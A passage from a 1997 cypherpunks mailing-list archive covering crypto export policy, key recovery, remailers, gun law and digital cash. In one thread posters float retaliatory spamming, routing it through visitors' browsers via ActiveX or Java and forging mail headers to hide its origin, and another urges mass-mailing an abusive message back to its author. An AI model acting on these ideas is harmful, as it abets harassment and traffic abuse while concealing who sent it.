house, yes you would be elegible for the extra 60 months.

<sigh> why do they even pretend to be running a constitutional government?

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: "640K ought to be enough for anybody." - Bill Gates, 1981

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM3KQGo9Co1n+aLhhAQEHkAQAtBlcEtyXzRNKKI7HtEx0H1glMGmlzN+8
cQD91dlgHhNbN24C5Ixq+hDBvBYWTs0yUY8fHOIgMo5HqQWRr4VMG2yrfcM42vyH
LuhKuldAYem4mKWoEm4wl0LYTxn18r0w/4f5NCT3VN+7aTrrme6QjYkN7BXNr6lU
Mxd1YGeAFzM=
=ZpFe
-----END PGP SIGNATURE-----
 
Tag-O-Matic: OS/2 means...CURTAINS for Windows!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jamesd@echeque.com
Date: Sat, 10 May 1997 12:23:40 +0800
To: Lucky Green <cypherpunks@toad.com>
Subject: Re: FCPUNX:List of GAK supporters
Message-ID: <199705100410.VAA11324@proxy3.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:01 PM 5/7/97 -0700, Lucky Green wrote:
> Below is a list of the members of the "Key Recovery Alliance" who are 
> working hard to make the world safe for GAK.

Strikingly absent from the list are Microsoft, Netscape, and Intel.

Strikingly present on the list is RSA and McAfee.
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd@echeque.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ariel Glenn <ariel@watsun.cc.columbia.edu>
Date: Fri, 9 May 1997 21:48:31 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: El Gamal
Message-ID: <CMM.0.90.4.863184177.ariel@stealth.cc.columbia.edu>
MIME-Version: 1.0
Content-Type: text/plain


>> Is El Gamal used in the source for PGP 3.0?
>
>I don't know, no one's exported the source to pgp3.0 in electronic
>form, and I haven't seen the books either.  

I have the books; ElGamal is indeed one of the algorithms in use
in the 3.0 pre-alpha code.

Ariel Glenn / AcIS R&D / Columbia University
ariel@columbia.edu
#include <stddisclaimer.h>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ariel Glenn <ariel@watsun.cc.columbia.edu>
Date: Fri, 9 May 1997 21:45:44 +0800
To: cypherpunks@cyberpass.net
Subject: nyt coverage of 'new' US export policy
Message-ID: <CMM.0.90.4.863184618.ariel@stealth.cc.columbia.edu>
MIME-Version: 1.0
Content-Type: text/plain


   
      May 9, 1997
      
     
U.S. To Ease Rules on Export
Of Finance Encryption Technology

      By JOHN MARKOFF
      
                                      
    G iving ground on the Clinton administration's computer-data privacy
    policy, the Commerce Department said Thursday that it would begin in
      some cases to allow export of the most powerful data-scrambling
        technologies when used for securing financial transactions.
                                      
   The move departs from previous export policy, which had allowed export
      of the U.S. computer industry's most powerful privacy-protection
    software and hardware only if the technology enabled law-enforcement
    officials to obtain copies of the mathematical keys needed to break
     the codes. The revised policy would require no such code-breaking
      proviso in the case of certain types of financial transactions.
                                      
      Besides international funds transfers between banks, permissible
         applications under the new policy are expected to include
       privacy-protected home-banking software for banks to offer to
    customers worldwide. The new policy would also apply to a technology
    known as the Secure Electronic Transaction standard, which has been
    developed by Mastercard and Visa to permit consumers to send credit
               card information to merchants electronically.
                                      
   Computer-data scrambling, or cryptography, is widely seen as the most
       crucial technology underlying a wide range of new computerized
         communications and commerce applications. But the Clinton
   administration, as did the Bush administration, has limited export of
   the most powerful U.S. encryption technology, for fear it would enable
   foreign criminals or terrorists to conspire with electronic impunity.
                                      
   Privacy-rights advocates have opposed the government's policy, fearing
    Big Brother intrusiveness if law-enforcement officials could obtain
         code keys. And industry officials have argued that because
    data-scrambling technology is already widely available overseas, the
      export laws have forced U.S. companies to miss out on a thriving
                              foreign market.
                                      
     Banks and other financial institutions, meanwhile, have complained
       that the policies made it difficult to insure the security of
      electronic-funds transfers between the United States and foreign
                                 countries.
                                      
         But word of the new rules drew concern from critics of the
      administration's data-scrambling policies, who said the banking
             industry would receive unfair business advantages.
                                      
    "There is a danger of creating a cartel-like environment that gives
      banks advantages over many of the current leaders in electronic
   commerce," said Laurie Fena, the executive director of the Electronic
        Frontier Foundation, a public policy group in San Francisco.
                                      
   Historically, U.S. banking and financial institutions have been given
    special exemptions to export data-scrambling equipment based on the
   20-year-old Data Encryption Standard. But the big increase in computer
       processing power in recent years has made that standard appear
   increasingly vulnerable, and the government has been under pressure to
      permit the export of strong encryption technology for financial
                                 purposes.
                                      
    Administration officials said the new rules would be published soon.
       Until then, it is unclear whether the definition of financial
      institutions and transactions may now be broad enough to include
   software makers like Netscape Communications Corp., which produces the
    most popular software for navigating the Internet's World Wide Web.
     _________________________________________________________________
                                      
                              Related Articles
                    IBM Announces New Encryption Formula
                                (May 7,1997)
                                      
             U.S. Restrictions Give European Encryption a Boost
                               (April 7,1997)
     _________________________________________________________________
                                      
     Netscape's software has a component for insuring secure financial
      transactions; but under current export law, that ability must be
      weakened or disabled when its Web-navigating software is shipped
                                 overseas.
                                      
   "It's very heartening to see the administration finally admitting that
    there are products overseas that are cutting into our markets," said
       Peter Harter, the lawyer in charge of global public policy for
    Netscape. "It's unfortunate to have to watch this happening from the
                             back of the bus."
                                      
                                      
            Home | Sections | Contents | Search | Forums | Help
                                      
                 Copyright 1997 The New York Times Company
                                      
     _________________________________________________________________
                                      
                                      
                              IBM WWWDirectory





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ariel Glenn <ariel@watsun.cc.columbia.edu>
Date: Fri, 9 May 1997 22:05:41 +0800
To: cypherpunks@cyberpass.net
Subject: Wired coverage of 'new' admin rules
Message-ID: <CMM.0.90.4.863185325.ariel@stealth.cc.columbia.edu>
MIME-Version: 1.0
Content-Type: text/plain


Quite a different spin on it in this article...

----


   Banks' Crypto Permit Not as Free as It Looks
   by Kristi Coale
   
   6:12pm  8.May.97.PDT When the Commerce Department on Thursday gave its
   blessing to the export of the strongest available encryption products
   for electronic banking and finance, the Clinton administration wasn't
   really giving any ground on its stance on key recovery.
   
   That's because the likely customers for these products - banks and
   financial institutions - are already subject to tough rules when it
   comes to tracking transactions and accounts to individuals. And these
   institutions are legally bound to share this information with the
   authorities.
   
   Given the scope of current regulation, the Commerce Department's key
   recovery requirement would only be duplicative, a department
   spokesperson said.
   
   That's why banks have been allowed to export government-approved Data
   Encryption Standard technology since the early 1980s. And that's why
   they'll now be able to use stronger encryption to secure transactions,
   including account and credit card numbers. The government standard has
   a fixed-key length of 56 bits; encryption being readied for electronic
   commerce such as Secure Electronic Transaction can have keys of 1,024
   bits and longer. It is assumed that it would take years and enormous
   computing power to crack the longer keys.
   
   In remarks Thursday before a Washington gathering of the American
   Bankers Association, Undersecretary William Reinsch outlined the plan
   which gives banks the ability to export direct-home-banking products
   with encryption keys of unlimited length. However, if a commercial
   software company - and not the bank - develops the banking product,
   the program must meet the administration's requirement for a
   key-recovery plan.
   
   Key recovery provides a "back door" that allows third parties to open
   and read electronic transmissions such as email. Under the
   administration's plan, these keys would be stored with
   government-sanctioned escrow agents such as Trusted Information
   Systems, a computer security firm, or Bankers Trust, a bank holding
   company. With these keys, police, prosecutors, and spy agencies with
   court orders can get access to any message or document.
   
   But privacy advocates distrust this system. To organizations like the
   Electronic Privacy Information Center, key recovery is no different
   from the administration's plans for government access under the failed
   Clipper initiatives.
   
   And given the current level of regulation, exempting the financial
   institutions from the key-recovery requirements represents a mere "fig
   leaf of a concession" on administration policy, said Dave Banisar,
   EPIC staff counsel.
   
   Developers have their own concerns about the Commerce Department
   announcement - namely, that by telling companies seeking to sell
   electronic commerce software to banks that they must include key
   escrow in their products, the administration is playing to prominent a
   role in the process.
   
   Companies such as Hewlett-Packard which support key escrow prefer to
   implement it in products where it makes business sense for them to do
   so, said Fred Mailman, the company's regulatory manager. Mailman is
   worried that the door may now be open for the government to tell
   companies what product families will have key recovery instead of the
   companies choosing themselves.
   
   While companies sort this out, the pressure on the industry to
   capitulate to the administration's key recovery plan increases,
   Mailman said.
   
   
   
   Related Wired Links:
   Netscape's Key Recovery: That's Business
   by Michael Stutz
   
   Law and Order and a Crypto Bill
   by Rebecca Vesely
   
   Andreessen: Market, Not Policy, Pushes Crypto
   by Michael Stutz
   
   arrow
   
   [INLINE]
   Find Read a story in the Wired News archive.
   Feedback Let us know how we're doing.
   Tips Have a story or tip for Wired News? Send it.

   
   
        Copyright ) 1993-97 Wired Ventures, Inc. and affiliated companies.
        All rights reserved.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: The Spectre <spectre@nac.net>
Date: Fri, 9 May 1997 22:04:34 +0800
To: cypherpunks@toad.com
Subject: Re: Spam Update/Cyber Promo attacked
Message-ID: <13435979406834@nac.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

To: cypherpunks@toad.com
Date: Fri May 09 09:48:11 1997

> > Like I said, it's more of a passive agressive thing.  If I were to 
> > come across a page that said "Click here to spam some spammers" and 
> > that's all I had to do, why wouldn't I take 2 seconds of my time to 
> > do it?  That's
> 
> Can you think of a way to have it originate at the browser's machine, 
> not your machine? Perhaps an activex program for w95 :-)
java program/script could do this as well.

> > certainly less time than it takes to go through the amount of spam in 
> > my mail each day.
> 
> I suggest you learn to filter your e-mail.
Hmmm... I'm hearing a lot of "you have a right so long as it doesn't 
interfere with me" kind of talk here... if the gentleman has a right to 
spam, then this person as the same right to spam him back.. I personally 
detest getting crap like the guy sent in my mailbox.. filtering doesn't 
stop it from wasting bandwidth.

> > And who cares if the pings/emails are coming from my site?  For the 
> > email version I just add a header that says something to the effect 
> > of "This email was sent to you on behalf of someone at $REMOTE_HOST" 
> > and set the
> 
> You could also try an html form whose actions send mailto:your@enemy
yup.

> 
> > Return-Path to <root@localhost>.  At that point, how can you prove 
> > that it was sent by your script or just by someone using your SMTPd?
> 
> He'll just filter out your site.  Wallace has some very smart
> people working with him.
Maybe he needs some smarter people working "against" him.. this has 
potential to get fun.

The Spectre
spectre@nac.net
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=Pv6d
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sat, 10 May 1997 00:06:54 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: [ADMINISTRATIVIUM] Cyclic codes
In-Reply-To: <199705091047.MAA04212@basement.replay.com>
Message-ID: <Pine.A41.3.95.970509094921.98278B-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 9 May 1997, Anonymous wrote:

I think Vulis needs each of us to send ten copies of this back to
him.

> There's a rumor that Timmy May sells his dead relatives as fertilizer as 
> they constitute the best shit in California.
> 
>          <<<<
>         o(0-0)o
>      -ooO-(_) Ooo-- Timmy May
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stout <stoutb@pios.com>
Date: Sat, 10 May 1997 01:49:40 +0800
To: cypherpunks@algebra.com
Subject: 64-bit CPU 10x faster in crypto?
Message-ID: <2.2.32.19970509173208.006a8a64@vaxf.pios.com>
MIME-Version: 1.0
Content-Type: text/plain


During a Digital seminar, a statement was made that 64-bit CPUs are about
10x faster than a 32-bit CPU in dealing with crypto, and that Alphas are
favorites of Crypto-affiliated Gov't agencies.  I spoke with a reference
within Digital and the following logic was presented:

  o A 128-bit key is processed in two 64-bit chunks, vs four 32-bit chunks,
greatly reducing processing time.
  o The Alpha executes four instructions per clock cycle.
  o Alpha clock ratings are 600MHz this summer.
  o Caveat: The O.S. needs to support 64-bit processing (Digital UNIX or
Linux, not NT).

I'm concerned about the strength of personal/corporate crypto in face of
large jumps in processing power.

I do not subscribe to cypherpunks due to the volume, so please respond to me
directly on this question.  stoutb@pios.com

Bill Stout





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <remailer@bureau42.ml.org>
Date: Sat, 10 May 1997 00:12:03 +0800
To: cypherpunks@cyberpass.net
Subject: No Subject
Message-ID: <199705091605.LAA21343@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain


::
Subject: Remailers for Dummies?

I'm interested in setting up a remailer (I already have, to a small
degree), but I'm looking for a remailers-howto, something that
covers the issues beyond `mere' compiling. Things like, getting
a Mixmaster and a Type1 remailer to cooperate nicely; how to
minimize complaints and legal hassles. If there's a remailer-
operators list, I'd love to know about that too.

Please address replies to dave@columnist.com - as much as anything,
I'm sending this message through my proto-remailer (based on the
freedom code) to make sure it works :)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Shabbir Safdar <shabbir@democracy.net>
Date: Fri, 9 May 1997 23:22:59 +0800
To: cypherpunks@toad.com
Subject: EVENT: Two big events you can be a part of at democracy.net on May 13!
Message-ID: <199705091506.LAA22844@panix3.panix.com>
MIME-Version: 1.0
Content-Type: text/plain


=========================================================================
     _                                                             _
  __| | ___ _ __ ___   ___   ___ _ __ __ _  ___ _   _   _ __   ___| |_
 / _` |/ _ \ '_ ` _ \ / _ \ / __| '__/ _` |/ __| | | | | '_ \ / _ \ __|
| (_| |  __/ | | | | | (_) | (__| | | (_| | (__| |_| |_| | | |  __/ |_
 \__,_|\___|_| |_| |_|\___/ \___|_|  \__,_|\___|\__, (_)_| |_|\___|\__|
                                                |___/
                         Government Without Walls

Update No.7              http:/www.democracy.net/              May 8 1997

_________________________________________________________________________
Table of Contents

 - democracy.net needs your help!
 - Internet Caucus field hearing @ Library of Congress: May 13, 3-5pm Eastern
 - Live Town Hall Meeting with FCC Chairman Reed Hundt: May 13, 7pm Eastern
 - In our archive
 - About democracy.net / Subscription and Unsubscription Information

___________________________________________________________________________
DEMOCRACY.NET NEEDS YOUR HELP!

On Tuesday May 13, democracy.net will be testifying before the
Congressional Internet Caucus about the use of the Internet for
bringing citizen participation to the democratic process.

We occassionally get letters from all sorts of people who tell us how
much they appreciate democracy.net.  Help us tell your story.  Take a
moment to answer the questions below and send the results to
feedback@democracy.net!

1. Answer the following questions where appropriate.

   How old are you?
   Where are you when you participate in democracy.net events?  At home?
      Work?
   What does democracy.net allow you to do as a citizen that you couldn't do
     without it?
   Have you used material from the democracy.net website in an article, term
     paper, school paper, or book?
   What do you like most about democracy.net?
   Does democracy.net help you overcome other barriers to being an active
     citizen?
   How are the democracy.net archives useful to you?

2. Send the answers to feedback@democracy.net

___________________________________________________________________________
INTERNET CAUCUS FIELD HEARING @ LIBRARY OF CONGRESS: TUE MAY 13,
    3-5PM EASTERN

One of the most crucial benefits of the Internet is it's ability to
allow government agencies to publish information to the public at a
very low cost.  Numerous examples of how the Internet has
revolutionized access to the democratic process and government exist
today, including:

* The Library of Congress' THOMAS service (http://thomas.loc.gov/) which
  makes available bills and speeches from the Congressional Record,

* The Federal Communications Commission's Daily Digest and Website  
  (http://www.fcc.gov/) which allows citizens to track every issue
  moving through the agency's processes, and

* The National Aeronautics and Space Association's Website (http://www.nasa.gov)
  which has made available photos and other astronomical images available to the
  very taxpayers that funded them.

These projects and others like them have fundamentally changed the way
Americans today keep tabs on their government.  But there's still a
long way to go, and this Internet Caucus field hearing will examine
nine examples of how the Internet is being utilized to make the
government more accessible to Americans.

You can attend this event live by listening to the live audio feed,
submit questions to the Senators and Representatives from the Internet
Caucus for the witnesses who will be there, view live photos from the
hearing room, and discuss the issue with Internet users and
Congressional staffers in interactive chat.

         * Congressional Internet Caucus Hearing - How To Participate *

 DATE:      Tuesday, May 13, 1997
 TIME:      3-5 pm Eastern / noon-2 pm Pacific  (Event will last +/- 90 mins)
 LOCATION:  http://www.democracy.net

In advance of the hearing, please visit http://www.democracy.net for
background information on this issue, including the list of witnesses
who are testifying.  You can also submit questions in advance.

_____________________________________________________________________________
LIVE TOWN HALL MEETING WITH FCC CHAIRMAN REED HUNDT: TUESDAY MAY 13, 7PM ET

During the May 7th Universal Service Proceeding, Internet users submitted
their questions and comments via democracy.net.  On Tuesday May 13, FCC
Chairman Reed Hundt will join democracy.net for a live Virtual Town Hall
meeting to discuss the Universal Service proceeding, respond to Internet
users questions, and discuss other Internet-related issues before the FCC.

This is a great opportunity for Internet users to talk with one of the key
telecommunications policy makers.

       * Online Town Hall Meeting with FCC Commissioner Reed Hundt *
                         * How To Participate *

 DATE:      Tuesday, May 13, 1997
 TIME:      7:00 pm Eastern / 4:00 pm Pacific
 LOCATION:  http://www.democracy.net

Visit http://www.democracy.net/ in advance of the event to submit questions.

Additional information can be found at the FCC home page: http://www.fcc.gov

_______________________________________________________________________________
IN OUR ARCHIVE

* FCC UNIVERSAL SERVICE RULEMAKING FROM MAY 7TH NOW AVAILABLE IN OUR ARCHIVE!

     -FCC Chairman Reed Hundt at May 7th public meeting on Universal Service,
      broadcast by democracy.net!

 You can get the entire audio or text-based transcript of the meeting, or
 selected excerpts, at http://www.democracy.net/archive/05071997/

_______________________________________________________________________________
ABOUT DEMOCRACY.NET / SUBSCRIPTION AND UNSUBSCRIPTION INFORMATION

democracy.net is a joint project of the Center for Democracy and
Technology (CDT) and the Voters Telecommunications Watch (VTW) to explore
ways of enhancing citizen participation in the democratic process via
the Internet.

To this end, democracy.net hosts live, interactive cybercasts of
Congressional Hearings and online town hall meetings with key policy makers.

democracy.net is made possible through the generous support of
WebActive (http://www.webactive.com), Public Access Networks
(http://www.panix.com), the Democracy Network
(http://www.democracynet.org), Cheetah Cybercasting Service
(http://www.cheetahcast.com/) and DIGEX's ISP-TV
(http://isptv.digex.net).  More information about the democracy.net
project and its sponsors can be found at
http://www.democracy.net/about/

To receive democracy.net announcements automatically, please visit our
signup form at http://www.democracy.net/ or send mail to

                     majordomo@democracy.net

         with "subscribe events" in the body of the message.

To stop receiving announcements on the democracy.net "events" mailing list,
please send mail to majordomo@democracy.net with the phrase
"unsubscribe events" in the message body.

_____________________________________________________________________________
End update no.7                                                    05/08/1997
=============================================================================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 10 May 1997 00:22:03 +0800
To: cypherpunks@algebra.com
Subject: "constructive" possession of a gun
Message-ID: <199705091606.LAA31841@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


Senate Judiciary Committe -- 08 May 1997

Well the JackBoots are at it again.

Under current Federal Law 5yrs can be tacked on to a criminal sentance if a
gun is used in the commision of a crime. Now they have a new twist to add:
"constructive" possession of a gun during the commision of a crime.

Now what does "constructive" possession mean?

Well according to those who testified from the various depts of the
Excutive Branch it means that a gun happens to be in the area, or the
potential to use a gun or if you recoment that someone else use a gun
durring the commission of a crime even though the weapon was never used.

Some examples given:

If durring the planning of a bank robbery you recomend that a gun be used
durring the robbery even though you did not use the weapon or was not even
present durring the robbery you could still get the extra 5yrs.

If durring a drug deal taking place in the back seat of a car there is a
gun under the front seat of the car you would still get the extra 5yrs even
though the the gun was never used.

If durring a drug raid on your home and a gun is found anywhere in the
house, yes you would be elegible for the extra 60 months.

<sigh> why do they even pretend to be running a constitutional government?

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: "640K ought to be enough for anybody." - Bill Gates, 1981

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Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

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Mxd1YGeAFzM=
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Tag-O-Matic: Windows is to OS/2 what Etch-a-Sketch is to art.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Will Rodger <rodger@worldnet.att.net>
Date: Fri, 9 May 1997 23:48:40 +0800
To: cypherpunks@toad.com
Subject: Re: Clinton Admin. to announce new Crypto regs
Message-ID: <3.0.32.19970509112208.00f5b584@postoffice.worldnet.att.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 10:39 PM 5/8/97 +0000, Rick Smith wrote:
>These "new" regulations "to be issued" are scrambling to catch up with
>previous and current practices. It doesn't change things at all.

I disagree. Here's why:

New regs unquestionably do change things for US banks. Right now banks may export nothing stronger than unescrowed DES. Period. So - what do they use the dirt-cheap, insecure Internet for? Nothing terribly important outside the US. One banker from JP Morgan told me yesterday that this was big news for them since they would soon move tons of stuff onto the Net. JPM, you'll recall, does business with huge, multinational institutions. They don't do retail banking. They aren't interested in small deals.

What do you suppose JP Morgan's bill for proprietary network use is each year? How much will they save by moving to the Internet?

It's worth noting, too, that banks and consumer software companies will soon export things like PC banking software with minimal delay.

>This announcement is simply a public acknowledgment that the BXA will look
>favorably on export requests to banks and that someday they'll try to draft
>specific regulations on the subject. Meanwhile you do it by grinding
>through the bureacracy.

It goes beyond banks. It affects any company that writes financial software for use with the banking infrastructire, including companies like CyberCash and Intuit.

Consider this: Last time Cybercash got approval to export it took them 15 months - count 'em - to get approval. OpenMarket had a similar wait. Regs like those may as well prohibit export. Now DOC says similar deals should be routine and take weeks to complete. Regs are supposed to appear soon - within the month, according to Reinsch's deputy. That's a significant change.

Will Rodger
Washington Bureau Chief
Inter@ctive Week
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Fri, 9 May 1997 23:53:00 +0800
To: Rick Osborne <osborne@gateway.grumman.com>
Subject: Re: Spam Update/Cyber Promo attacked
In-Reply-To: <3.0.1.32.19970508230144.00947a40@gateway.grumman.com>
Message-ID: <Pine.SUN.3.91.970509114352.28577A-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 8 May 1997, Rick Osborne wrote:

> Actually, this account has adequate filters.  Unfortunately, my employer
> chooses to use Exchange for mail, which has less than astonishing filtering
> capability.  But I appreciate the inference as to my (lack of)
> intelligence.  ;)

Filtering isn't the point.  Just as you have the right to free speech, 
you also have the right to ignore someone else's speech as it is aimed at 
you.  If you don't want Cyberspammo to spam you, they should honor your 
request to take their crap elsewhere.

The problem I have with them is that while they do say "Send email here 
to never be spammed again" it doesn't work.  They don't honor the 
deletion requests.  You wind up on some other dweeb's spam queue also 
from cyberspam. :(

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
..\|/..|sunder@sundernet.com|  'cause you can't pleade the first!"   |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 10 May 1997 00:59:59 +0800
To: e$@thumper.vmeng.com
Subject: e$: In Vino Veritas
Message-ID: <v0302098caf98c47ca7ea@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain


I love this prohibition stuff.

First recreational drugs, then guns, then cryptography, then tobbacco, and
now, the grandaddy of all prohibitions, alcohol sales, on the net in
Florida, with good old vino being retreaded as a brand new thin edge of the
tired old wedge of government behavioral control.

Once again, a whole generation of libertines now becomes moralistic in
their old age. Same as it ever was. Remember that the Romantics (Beethoven,
Chopin, the waltzing Strausses, etc.) grew up to become the Victorians (the
temperance, missionary, conservation, and "indian school" movements).


So, maybe it *is* time to move to a country where the average age is under
30. Fortunately, there are a lot of them, thanks to exploding life
expectancy caused by advancing technological progress   and Peale's
"demographic transition". Maybe soon they'll have enough wealth (and
technological creativity) of their own to ignore the increasing
constrictions of what Tim May likes to call the "Terror State". I'd gladly
exchange a moribund environment of backward-looking luddism for a cheerful
attack on the problem of making the future happen, anytime. Unfortunately,
that doesn't look like an option, not just yet, anyway.


The other thing which comes to mind with all this is, of course, financial
cryptography, which, contrary to the opinion of more than a few on the
e-mail lists I'm on, I see as the thin edge of another kind of wedge. It is
financial cryptography which will kill cryptographic prohibition, and,
someday, prohibition of other technologies as well.


Currently, the relaxation of export controls on cryptography is now merely
a cudgel to make us submit to ubiquitous wiretapping, and not for national
security, the original purpose of such controls.

Former National Security Agency Chief Counsel Stewart Baker said at the
Digital Commerce Society of Boston luncheon this Tuesday that the
management of the NSA gave up on succeeding with cryptographic export
controls in 1993, and that their only hope was to enlist Federal Bureau of
Investigation Director Louis Freeh in their efforts by showing him threat
of cryptography to his wiretap apparatus. It's now quite clear that the NSA
is fighting a retreat on strong cryptography, and that they're using Louis
Freeh and the FBI to do it for them.  So, at this point, any residual
attempts by the national security apparatus per se to control exports,
beyond assisting Freeh in slowing down technological progress, is just
regulatory inertia. Still real and very dangerous to anyone who believes in
freedom and privacy, but lacking any further accelleration to move it
forward, once the momentum it already has finally goes away.

In my conversation last year with senior people there, the Financial Crimes
Enforcement Network (FinCEN), responsible for catching money launderers and
other financial criminals and another would-be cryptographic hoplaphobe,
certainly seemed to understand that if blind-signature digital bearer
certificates are proven to be as economically efficient as a few of us on
the net think they will be, FinCEN's ability to monitor transactions on the
net will just disappear. Not only because they can't see those transaction
behind the Chaumian blind-signature algorithm, but because the sheer volume
of transactions (the micromoney mitochondria,
digital-cash-as-microprocessor-food idea I like to throw around, as an
extreme example) will physically choke any monitoring effort they attempt
to build. In yet another paraphrase of John Gilmore's law of internet
censorship, the net sees surveillance as damage, and routes around it.
Again, inertia is a problem here, and the powers-that-be at FinCEN haven't
given up quite yet on ultimately controlling the impending explosion of
internet financial cryptography, as NSA's management seems to have with
crypto in general. Mostly because all the starry-eyed claims people like me
make on behalf of digital bearer certificates are just that, claims, with
no empirical evidence so far to back them up. Yet. :-).

Finally, that leaves wiretaps, and the FBI's Louis Freeh, a man who got his
law-enforcement bones because of bugs and wiretaps, and who has never seen
a wiretap he didn't like. First of all, Freeh faces the same problem FinCEN
faces. Even if it were economically possible for the FBI to get the
monsterous wiretap capability that the freshly legislated CALEA now crams
down the collective financial throat of every telecoms manufacturer and
provider on earth. Even if he did get access to all cryptographic keys,
which he can't physically do, because economics will require that most of
those session keys be disposed of as fast as they're used. Even if, in
spite of both of those flights of economic fantasy, he were able to do so,
Freeh still can't physically monitor all that communication, in the same
sense that FinCEN can't follow all those transactions on the internet.
Gilmore's Law strikes again.

But, the joke here, of course, is that surveillence technology in meatspace
itself is going to continue to increase. The eventual prospect of
ubiquitous videobugging both by government and private sources means that a
lot of David Brin's surveillance society will probably come to pass, and
physical crime will continue to diminish as a result.  The law-enforcement
need for tapped or "excrowed" communictions will probably disappear,
because even when Freeh & Co. couldn't just subpoena some stored private
video somewhere, planting a physical bug, Gotti-style, will be much easier
than listening in to an "excrowed" communication with disposable session
keys.

Much in the same way, I might add, as if the NSA bunch had never mentioned
the idea of key escrow at all to Louis Freeh. That's because the inherent
need of corporations to secure their own data from the hostile or
accidental behavior of their own people would have already created a market
for encrypted data recovery anyway. All the law enforcement community would
need to do to get access to that information is the same thing they use for
anything else: a subpoena. Again, the "rational control" of government
destroyed what would have been a much more efficient market driven
technology. Like the filtering of offensive internet content was before the
Communications Decency Act threatened to "require" it, some very creative
people were thinking very hard about private key and cryptography data
recovery schemes and now won't touch them because the government wants to
mandate key escrow, er, "recovery", into existance.

However, the last laugh in the upcoming surveillance society will
eventually be had by privacy advocates on would-be totalitarians like Mr.
Freeh, and, it seems, on Al Gore, who seems to be Freeh's chief cheerleader
in the Clinton administration. Remember that Stalin, too, came to
totalitarianism from the absolutism of the extreme left, and leftist
absolutism is something Mr. Gore's book "Earth in the Balance" is chock
full of. Somewhere, Freddy Hayek is laughing.

Anyway, in the ultimate twist of fate, all those ubiquitous surveillance
devices will be predominantly in *private* hands, and, as the cleptocracy
of the modern nation state continues to implode from it's own greed and
power-lust, those surveillance devices will, eventually, be linked to
privately held security firms, and, maybe someday to autonomous
*munitions*. See the "Mesh and the Net",
<http://www.shipwright.com/meshnet.html>, for some hints to this kind of
defensive military technology. I claim that as we will be able to allocate
network resources with some kind of cash settled economy, so too will we
someday be be able to directly "purchase" the services of these kinds of
technologies, without the centralized economic distortion of a
nation-state. In other words, we'll be much more physically secure without
people like Mr. Freeh, than with them.

While that's a long way off, it's probably not so far as freedom and
privacy advocates fear. For instance, if, say, 10 years from now, as some
people have predicted, your home security system had complete visual
coverage of your property with a swarm of very cheap CCD videocameras, all
